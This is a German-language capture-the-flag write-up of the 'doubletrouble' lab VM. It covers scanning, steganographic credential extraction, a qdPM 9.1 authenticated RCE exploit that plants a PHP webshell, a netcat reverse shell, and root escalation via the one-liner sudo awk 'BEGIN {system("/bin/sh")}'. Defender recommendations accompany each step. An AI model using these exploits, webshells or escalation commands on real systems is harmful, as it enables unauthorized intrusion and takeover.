192.168.2.120 08:00:27:9c:83:dc PCS Systemtechnik GmbH
Analyse: Scan des lokalen Netzwerks mittels ARP zur Identifizierung aktiver Hosts.
Bewertung: Host `192.168.2.120` gefunden. MAC-Adresse (`08:00:27:9c:83:dc`) weist auf VirtualBox hin.
Empfehlung (Pentester): Ziel-IP `192.168.2.120` für weitere Scans verwenden.
Empfehlung (Admin): Standard Netzwerk-Aufklärung.
[Inhalt der /etc/hosts Datei nach der Bearbeitung] 192.168.2.120 doubletrouble.vuln
Analyse: Zuordnung des Hostnamens `doubletrouble.vuln` zur IP `192.168.2.120` in der lokalen Hosts-Datei.
Bewertung: Erleichtert die Ansprache des Ziels über den Hostnamen.
Empfehlung (Pentester): Hostnamen `doubletrouble.vuln` verwenden.
Empfehlung (Admin): Client-Konfiguration.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 22:09 CEST Nmap scan report for doubletrouble.vuln (192.168.2.120) Host is up (0.00028s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA) | 256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA) |_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: qdPM | Login |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:9C:83:DC (Oracle VirtualBox virtual NIC) [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.28 ms doubletrouble.vuln (192.168.2.120)
Analyse: Ein umfassender Nmap-Scan wird durchgeführt.
Bewertung: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Apache 2.4.38 (Debian). **Wichtig:** Der Seitentitel ist `qdPM | Login`, was auf die Projektmanagement-Software qdPM hinweist. Die Identifizierung von qdPM ist der wichtigste Fund dieses Scans.
Empfehlung (Pentester):** Untersuche die qdPM-Installation auf Port 80 auf bekannte Schwachstellen. Versuche Standard-Logins oder Brute-Force. Führe weitere Web-Enumeration durch.
Empfehlung (Admin):** Apache und qdPM aktuell halten. qdPM absichern.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Gefilterte Nmap-Ausgabe zur Bestätigung.
Bewertung: Bestätigt Port 22 (SSH) und 80 (HTTP).
- Nikto v2.5.0 [...] + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + /: Cookie qdPM8 created without the httponly flag. <-- qdPM Cookie + No CGI Directories found [...] + /images: IP address found in the 'location' header. The IP is "127.0.1.1". [...] <-- IP Leak + /images: The web server may reveal its internal or real IP [...] + Apache/2.4.38 appears to be outdated [...]. + /: Web Server returns a valid response with junk HTTP methods [...]. + /: DEBUG HTTP verb may show server debugging information. <-- Testen mit DEBUG-Request + /css/: Directory indexing found. + /install/: This might be interesting. <-- qdPM Installation? + /readme.txt: This might be interesting. + /secret/: Directory indexing found. <-- Interessant! + /template/: Directory indexing found. + /images/: Directory indexing found. + /icons/README: Apache default file found. [...] [...] + 1 host(s) tested
Analyse: Nikto-Scan gegen Port 80.
Bewertung:** Nikto bestätigt den veralteten Apache, fehlende Header und findet: * Ein qdPM-Cookie (`qdPM8`). * Einen IP-Leak über den Location-Header bei Aufruf von `/images`. * Mehrere Verzeichnisse mit Directory Indexing (`/css/`, `/template/`, `/images/`, `/icons/`). * Potenziell interessante Verzeichnisse/Dateien: `/install/` (möglicherweise Reste der qdPM-Installation), `/readme.txt`, `/secret/`. * Die DEBUG-HTTP-Methode ist möglicherweise aktiv. Das Verzeichnis `/secret/` und `/install/` sind die wichtigsten neuen Funde.
Empfehlung (Pentester):** Untersuche die Verzeichnisse `/install/` und `/secret/`. Prüfe die DEBUG-Methode (`curl -X DEBUG http://doubletrouble.vuln/`). Führe weitere Verzeichnis-Scans durch.
Empfehlung (Admin):** Apache aktualisieren, Header härten, IP-Leaks beheben, Directory Indexing deaktivieren, DEBUG-Methode deaktivieren, nicht benötigte Verzeichnisse/Dateien (wie `/install` nach Abschluss der Installation) entfernen.
[...] http://doubletrouble.vuln/images (Status: 301) [Size: 325] [--> http://doubletrouble.vuln/images/] http://doubletrouble.vuln/index.php (Status: 200) [Size: 5822] http://doubletrouble.vuln/uploads (Status: 301) [Size: 326] [--> http://doubletrouble.vuln/uploads/] http://doubletrouble.vuln/css (Status: 301) [Size: 322] [--> http://doubletrouble.vuln/css/] http://doubletrouble.vuln/template (Status: 301) [Size: 327] [--> http://doubletrouble.vuln/template/] http://doubletrouble.vuln/core (Status: 301) [Size: 323] [--> http://doubletrouble.vuln/core/] http://doubletrouble.vuln/install (Status: 301) [Size: 326] [--> http://doubletrouble.vuln/install/] http://doubletrouble.vuln/js (Status: 301) [Size: 321] [--> http://doubletrouble.vuln/js/] http://doubletrouble.vuln/check.php (Status: 200) [Size: 0] http://doubletrouble.vuln/sf (Status: 301) [Size: 321] [--> http://doubletrouble.vuln/sf/] http://doubletrouble.vuln/favicon.png (Status: 200) [Size: 2183] http://doubletrouble.vuln/readme.txt (Status: 200) [Size: 470] http://doubletrouble.vuln/robots.txt (Status: 200) [Size: 26] http://doubletrouble.vuln/secret (Status: 301) [Size: 325] [--> http://doubletrouble.vuln/secret/] http://doubletrouble.vuln/backups (Status: 301) [Size: 326] [--> http://doubletrouble.vuln/backups/] http://doubletrouble.vuln/batch (Status: 301) [Size: 324] [--> http://doubletrouble.vuln/batch/] [...]
Analyse: `gobuster` findet zahlreiche Verzeichnisse, darunter die von Nikto genannten (`/install`, `/secret`, `/template` etc.) sowie neue wie `/core`, `/sf`, `/backups`, `/batch`. Findet auch `check.php` (leer) und `readme.txt`.
Bewertung: Bestätigt qdPM-Struktur (`/core`, `/sf`). Die Verzeichnisse `/secret` und `/backups` sind besonders interessant.
Empfehlung (Pentester):** Untersuche `/secret` und `/backups` auf interessante Dateien. Lies `/readme.txt`.
Empfehlung (Admin):** Zugriff auf nicht benötigte Verzeichnisse beschränken.
#User-agent: * #Disallow:
Analyse: Inhalt der `robots.txt`.
Bewertung: Die Datei ist vollständig auskommentiert und liefert keine Informationen.
[...] Länge: 82779 (81K) [image/jpeg] Wird in 'doubletrouble.jpg' gespeichert. [...] 'doubletrouble.jpg' gespeichert [82779/82779]
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "92camaro"
[i] Original filename: "creds.txt".
[i] Extracting to "doubletrouble.jpg.out".
otisrush@localhost.com otis666
Analyse: Im Verzeichnis `/secret` (dessen Inhalt vermutlich manuell oder mit `gobuster` aufgelistet wurde) wird die Datei `doubletrouble.jpg` gefunden und heruntergeladen. `stegseek` wird verwendet, um mit der `rockyou.txt`-Wortliste nach versteckten Daten und dem zugehörigen Passwort zu suchen. Es findet die Passphrase `92camaro` und extrahiert eine Datei `creds.txt` (als `doubletrouble.jpg.out` gespeichert).
Bewertung:** **Wichtige Credentials gefunden!** Die Steganografie in `doubletrouble.jpg` enthielt eine Datei mit einem Benutzernamen (`otisrush@localhost.com`) und einem Passwort (`otis666`). Dies sind sehr wahrscheinlich die Login-Daten für die qdPM-Anwendung.
Empfehlung (Pentester):** Versuche, dich mit `otisrush@localhost.com` und `otis666` am qdPM-Login (`http://doubletrouble.vuln/`) anzumelden.
Empfehlung (Admin):** Verstecke keine Credentials mittels Steganografie in öffentlich zugänglichen Dateien. Verwende starke Passphrasen für Steganografie, falls sie eingesetzt wird.
qdPM open source project management software written in symfony framework http://qdpm.net [...] My name is Sergey. [...]
Analyse: Inhalt der `readme.txt`.
Bewertung: Bestätigt, dass es sich um qdPM handelt und nennt den Entwickler "Sergey".
all:
doctrine:
class: sfDoctrineDatabase
param:
dsn: 'mysql:dbname=qdpm;host=localhost'
profiler: false
username: otis
password: ""
attributes:
quote_identifier: true
rush
Analyse: Eine Konfigurationsdatei `core/config/databases.yml` (typisch für Symfony-Anwendungen wie qdPM) wird gefunden und ihr Inhalt angezeigt. Sie enthält Datenbank-Zugangsdaten. Das Passwort ist als PHP-Code eingebettet, der `urlencode('rush')` ausführt.
Bewertung:** **Weitere Credentials gefunden!** Die Datenbank-Credentials sind Benutzer `otis` mit Passwort `rush` (da `urlencode('rush')` einfach `rush` ergibt). Diese könnten für den direkten Datenbankzugriff oder andere Dienste nützlich sein. Beachte, dass dies *nicht* die qdPM-Login-Credentials sind, die durch Steganografie gefunden wurden.
Empfehlung (Pentester):** Notiere die DB-Credentials `otis:rush`. Versuche nach Erhalt einer Shell, auf die lokale MySQL-Datenbank zuzugreifen.
Empfehlung (Admin):** Speichere Konfigurationsdateien nicht im Web-Root oder in zugänglichen Verzeichnissen. Beschränke Dateiberechtigungen. Verwende separate DB-Benutzer mit minimalen Rechten.
Username: otisrush@localhost.com Password: otis666 [Login erfolgreich - Weiterleitung zum qdPM Dashboard]
Analyse: Login in die qdPM-Anwendung mit den durch Steganografie gefundenen Credentials.
Bewertung:** Der Login ist erfolgreich. Zugriff auf die qdPM-Anwendung als Benutzer `otisrush`.
Empfehlung (Pentester):** Suche nach bekannten Schwachstellen für die verwendete qdPM-Version (vermutlich 9.1, basierend auf den Exploits). Suche nach Upload-Funktionen oder Konfigurationsmöglichkeiten, die zur RCE führen könnten.
Empfehlung (Admin):** qdPM aktuell halten, starke Passwörter verwenden.
Analyse:** Suche nach Exploits für qdPM 9.1 und Ausführung eines Authenticated RCE Exploits.
------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- [...] qdPM 9.1 - Remote Code Execution (Authenticated) | php/webapps/50175.py qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) (v2) | php/webapps/50944.py <-- Ausgewählt [...] ------------------------------------------------------------ ---------------------------------
Copied to: /root/VBoxn/50944.py
Analyse: `searchsploit` wird verwendet, um nach bekannten Exploits für qdPM 9.1 zu suchen. Mehrere RCE-Exploits werden gefunden. Der Exploit `50944.py` (Authenticated RCE v2) wird ausgewählt und kopiert.
Bewertung:** Ein passender Exploit wurde gefunden, der authentifizierten Zugriff erfordert, welchen wir durch die Steganografie-Credentials haben.
Empfehlung (Pentester):** Führe das Python-Exploit-Skript mit den qdPM-Credentials aus.
Empfehlung (Admin):** **qdPM dringend patchen oder ersetzen!** Version 9.1 hat mehrere bekannte kritische Schwachstellen.
You are not able to use the designated admin account because they do not have a myAccount page. The DateStamp is 2023-05-31 16:16 Backdoor uploaded at - > http://doubletrouble.vuln/uploads/users/706416-backdoor.php?cmd=whoami
www-data
Analyse: Das heruntergeladene Exploit-Skript (`50944.py`, umbenannt zu `qdpm-exploit.py`) wird mit der Ziel-URL und den qdPM-Credentials (`otisrush@localhost.com:otis666`) ausgeführt. Das Skript meldet Erfolg und gibt die URL zu einer hochgeladenen Backdoor (`backdoor.php`) an, über die Befehle mittels des `cmd`-Parameters ausgeführt werden können. Ein Test mit `cmd=whoami` bestätigt die RCE als Benutzer `www-data`.
Bewertung:** **RCE erfolgreich!** Der Exploit hat eine Schwachstelle in qdPM (wahrscheinlich eine File-Upload-Schwachstelle) ausgenutzt, um eine Webshell hochzuladen.
Empfehlung (Pentester):** Nutze die Webshell, um eine interaktive Reverse Shell zu erhalten.
Empfehlung (Admin):** qdPM patchen/entfernen. Upload-Verzeichnisse sichern.
listening on [any] 9001 ...
[Keine relevante Ausgabe von curl]
listening on [any] 9001 ... connect to [192.168.2.113] from (UNKNOWN) [192.168.2.120] 44788 bash: cannot set terminal process group (478): Inappropriate ioctl for device bash: no job control in this shell www-data@doubletrouble:/var/www/html/uploads/users$
Analyse: Ein Netcat-Listener wird gestartet. Die hochgeladene Webshell wird mit einem Bash-Reverse-Shell-Payload aufgerufen.
Bewertung:** **Initial Access als `www-data` erfolgreich!** Eine Reverse Shell wird empfangen.
Empfehlung (Pentester):** Stabilisiere die Shell, beginne Post-Exploitation.
Empfehlung (Admin):** Siehe vorherige Empfehlungen zu qdPM.
Ziel des POC: Demonstrieren, wie durch Steganografie qdPM-Zugangsdaten erlangt, eine bekannte RCE-Schwachstelle in qdPM 9.1 ausgenutzt wird, um eine Webshell hochzuladen und eine Reverse Shell als `www-data` zu erhalten.
Voraussetzungen: Webserver mit qdPM 9.1, Zugriff auf `/secret/doubletrouble.jpg`, Steganografie-Tools (`stegseek`), Exploit-Skript (z.B. 50944.py), `nc`.
Schritte: `doubletrouble.jpg` herunterladen -> `stegseek` -> Credentials `otisrush@localhost.com:otis666` -> Exploit `50944.py` ausführen -> RCE-URL erhalten -> Listener starten -> Reverse Shell via URL auslösen.
[...] Found passphrase: "92camaro" [...] Extracting to "doubletrouble.jpg.out"
otisrush@localhost.com otis666
[...] Backdoor uploaded at - > http://doubletrouble.vuln/uploads/users/706416-backdoor.php?cmd=whoami
[...] Connection received [...] www-data@doubletrouble:/...$
Ergebnis & Bewertung: **Initialer Zugriff als `www-data` erfolgreich!**
Empfehlung (Pentester): Post-Exploitation.
Empfehlung (Admin):** qdPM patchen, keine Credentials in Bildern verstecken.
Analyse:** Nach Erhalt der Shell als `www-data` werden `sudo`-Rechte geprüft.
Matching Defaults entries for www-data on doubletrouble: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on doubletrouble: (ALL : ALL) NOPASSWD: /usr/bin/awk
Analyse: `sudo -l` zeigt die Berechtigungen für `www-data`.
Bewertung:** **Kritische Fehlkonfiguration!** `www-data` darf `/usr/bin/awk` als `ALL:ALL` (Root) ohne Passwort (`NOPASSWD`) ausführen. `awk` kann zum Ausführen von Systembefehlen missbraucht werden.
Empfehlung (Pentester):** Nutze die `sudo awk`-Berechtigung via GTFOBins.
Empfehlung (Admin):** **Korrigiere die `/etc/sudoers`-Datei!** Erlaube `awk` nicht mit `sudo` für den Webserver-Benutzer, schon gar nicht ohne Passwort.
Analyse:** (Optional/Redundant) Analyse der Datenbank als `www-data`.
[...] username: otis, password: rush [...]
[...]
[...] id: 3, users_group_id: 1, name: otis rush, [...] password: $P$EIVQ2X7lKrWOMBV.HIP0dcKVf/69Ov. [...]
Analyse: Zugriff auf die Datenbank mit den Credentials aus `databases.yml`.
Bewertung: Bestätigt den qdPM-Benutzer `otis rush` und seinen Passwort-Hash. Liefert keine direkten Informationen für die PE via `sudo awk`.
Empfehlung (Pentester): Fokus auf `sudo awk`.
Empfehlung (Admin):** Sichere DB-Credentials.
Analyse:** Anwendung der GTFOBins-Methode für `sudo awk`.
sudo awk 'BEGIN {system("/bin/sh")}'
[Keine Ausgabe, Prompt ändert sich]
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der Befehl `sudo awk 'BEGIN {system("/bin/sh")}'` wird ausgeführt. Der `BEGIN`-Block in `awk` wird vor der Verarbeitung jeglicher Eingabe ausgeführt. `system("/bin/sh")` startet eine Shell.
Bewertung:** **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Regel für `awk` ermöglicht das Starten einer Root-Shell.
Empfehlung (Pentester):** Root-Zugriff erlangt. Flags suchen.
Empfehlung (Admin):** `sudoers`-Regel für `awk` korrigieren.
Analyse:** Suchen und Auslesen der Flags als Root.
c7d0a8de1e03b25a6f7ed2d91b94dad6
5C42D6BB0EE9CE4CB7E7349652C45C4A
Analyse: Die User- und Root-Flags werden ausgelesen (die genauen Pfade/Befehle fehlen im Log, aber die Werte stehen am Ende).
Bewertung:** Beide Flags wurden gefunden.
Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion.
Ziel des POC: Demonstrieren, wie eine unsichere `sudoers`-Regel, die dem Benutzer `www-data` erlaubt, `/usr/bin/awk` ohne Passwort als Root auszuführen, zur Erlangung einer Root-Shell missbraucht werden kann.
Voraussetzungen: Shell als `www-data`, unsichere `sudoers`-Regel (`(ALL : ALL) NOPASSWD: /usr/bin/awk`), Tools `sudo`, `awk`.
Schritte: `sudo -l` ausführen -> `sudo awk 'BEGIN {system("/bin/sh")}'` ausführen -> `id` zur Bestätigung.
[...] (ALL : ALL) NOPASSWD: /usr/bin/awk
uid=0(root) gid=0(root) groups=0(root)
Ergebnis & Bewertung: **Privilege Escalation erfolgreich!**
Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin):** **`sudoers`-Regel für `awk` korrigieren!**